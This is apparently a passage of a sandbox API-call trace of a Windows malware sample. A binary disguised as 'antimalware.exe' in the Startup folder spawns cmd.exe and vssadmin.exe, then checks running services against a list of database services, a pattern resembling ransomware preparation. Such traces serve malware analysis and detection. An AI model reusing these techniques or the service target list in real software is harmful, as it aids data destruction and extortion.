	[0156.257] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0156.258] lstrlenW (lpString="msoia.exe") returned 9
	[0156.258] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0156.260] lstrlenW (lpString="taskhostw.exe") returned 13
	[0156.260] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0156.263] lstrlenW (lpString="explorer.exe") returned 12
	[0156.263] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0156.264] lstrlenW (lpString="SearchUI.exe") returned 12
	[0156.264] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0156.266] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0156.266] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0156.267] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0156.267] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0156.268] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0156.268] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0156.269] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0156.269] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0156.270] lstrlenW (lpString="cmd.exe") returned 7
	[0156.270] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0156.271] lstrlenW (lpString="conhost.exe") returned 11
	[0156.271] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0156.272] lstrlenW (lpString="consent.exe") returned 11
	[0156.273] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0156.273] lstrlenW (lpString="vssadmin.exe") returned 12
	[0156.274] Process32NextW (in: hSnapshot=0x54c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0156.305] CloseHandle (hObject=0x54c) returned 1
	[0156.306] Sleep (dwMilliseconds=0x1f4) 
	[0156.911] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0278
	[0156.912] EnumServicesStatusExW (in: hSCManager=0x45b0278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0156.913] GetLastError () returned 0xea
	[0156.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4641fd0
	[0156.913] EnumServicesStatusExW (in: hSCManager=0x45b0278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4641fd0, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4641fd0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0156.914] CloseServiceHandle (hSCObject=0x45b0278) returned 1
	[0156.914] lstrlenW (lpString="Appinfo") returned 7
	[0156.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0156.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0156.914] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0156.914] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0156.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0156.914] lstrlenW (lpString="AppXSvc") returned 7
	[0156.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0156.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0156.915] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0156.915] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0156.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0156.915] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0156.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0156.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0156.915] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0156.915] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0156.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0156.915] lstrlenW (lpString="Audiosrv") returned 8
	[0156.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0156.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0156.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0156.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0156.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0156.916] lstrlenW (lpString="BFE") returned 3
	[0156.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0156.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0156.916] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0156.916] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0156.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0156.916] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0156.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0156.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0156.916] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0156.916] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0156.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0156.916] lstrlenW (lpString="CDPSvc") returned 6
	[0156.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0156.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0156.916] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0156.917] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0156.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0156.917] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0156.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0156.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0156.917] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0156.917] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0156.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0156.917] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0156.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0156.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0156.917] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0156.917] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0156.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0156.917] lstrlenW (lpString="CryptSvc") returned 8
	[0156.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0156.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0156.917] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0156.918] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0156.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0156.918] lstrlenW (lpString="DcomLaunch") returned 10
	[0156.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0156.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0156.918] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0156.918] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0156.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0156.918] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0156.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0156.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0156.918] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0156.918] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0156.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0156.918] lstrlenW (lpString="Dhcp") returned 4
	[0156.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0156.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0156.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0156.919] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0156.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0156.919] lstrlenW (lpString="Dnscache") returned 8
	[0156.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0156.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0156.919] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0156.919] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0156.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0156.919] lstrlenW (lpString="DPS") returned 3
	[0156.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0156.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0156.919] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0156.919] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0156.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0156.919] lstrlenW (lpString="DusmSvc") returned 7
	[0156.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0156.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0156.920] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0156.920] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0156.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0156.920] lstrlenW (lpString="EventLog") returned 8
	[0156.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0156.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0156.920] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0156.920] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0156.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0156.920] lstrlenW (lpString="EventSystem") returned 11
	[0156.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0157.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0157.060] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0157.060] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0157.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0157.060] lstrlenW (lpString="FontCache") returned 9
	[0157.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0157.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0157.060] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0157.060] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0157.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0157.060] lstrlenW (lpString="gpsvc") returned 5
	[0157.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0157.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0157.060] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0157.060] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0157.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0157.060] lstrlenW (lpString="iphlpsvc") returned 8
	[0157.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0157.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0157.060] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0157.060] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0157.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0157.060] lstrlenW (lpString="KeyIso") returned 6
	[0157.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0157.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0157.061] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0157.061] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0157.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0157.061] lstrlenW (lpString="LanmanServer") returned 12
	[0157.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0157.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0157.061] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0157.061] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0157.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0157.061] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0157.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0157.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0157.061] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0157.061] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0157.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0157.061] lstrlenW (lpString="lfsvc") returned 5
	[0157.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0157.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0157.061] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0157.061] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0157.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0157.062] lstrlenW (lpString="lmhosts") returned 7
	[0157.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0157.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0157.062] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0157.062] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0157.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0157.062] lstrlenW (lpString="LSM") returned 3
	[0157.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0157.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0157.062] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0157.062] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0157.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0157.062] lstrlenW (lpString="MpsSvc") returned 6
	[0157.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0157.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0157.062] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0157.062] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0157.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0157.062] lstrlenW (lpString="NcbService") returned 10
	[0157.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0157.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0157.062] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0157.062] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0157.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0157.063] lstrlenW (lpString="netprofm") returned 8
	[0157.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0157.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0157.063] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0157.063] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0157.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0157.063] lstrlenW (lpString="NgcSvc") returned 6
	[0157.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0157.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0157.063] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0157.063] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0157.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0157.063] lstrlenW (lpString="NlaSvc") returned 6
	[0157.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0157.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0157.063] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0157.063] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0157.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0157.063] lstrlenW (lpString="nsi") returned 3
	[0157.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0157.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0157.063] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0157.064] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0157.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0157.064] lstrlenW (lpString="PcaSvc") returned 6
	[0157.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0157.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0157.064] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0157.064] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0157.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0157.064] lstrlenW (lpString="PlugPlay") returned 8
	[0157.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0157.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0157.064] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0157.064] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0157.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0157.064] lstrlenW (lpString="Power") returned 5
	[0157.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0157.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0157.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0157.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0157.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0157.064] lstrlenW (lpString="ProfSvc") returned 7
	[0157.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0157.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0157.064] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0157.065] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0157.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0157.065] lstrlenW (lpString="RpcEptMapper") returned 12
	[0157.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0157.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0157.065] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0157.065] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0157.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0157.065] lstrlenW (lpString="RpcSs") returned 5
	[0157.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0157.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0157.065] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0157.065] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0157.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0157.065] lstrlenW (lpString="SamSs") returned 5
	[0157.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0157.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0157.065] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0157.065] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0157.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0157.066] lstrlenW (lpString="Schedule") returned 8
	[0157.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0157.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0157.066] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0157.066] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0157.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0157.066] lstrlenW (lpString="SecurityHealthService") returned 21
	[0157.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0157.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0157.066] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0157.066] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
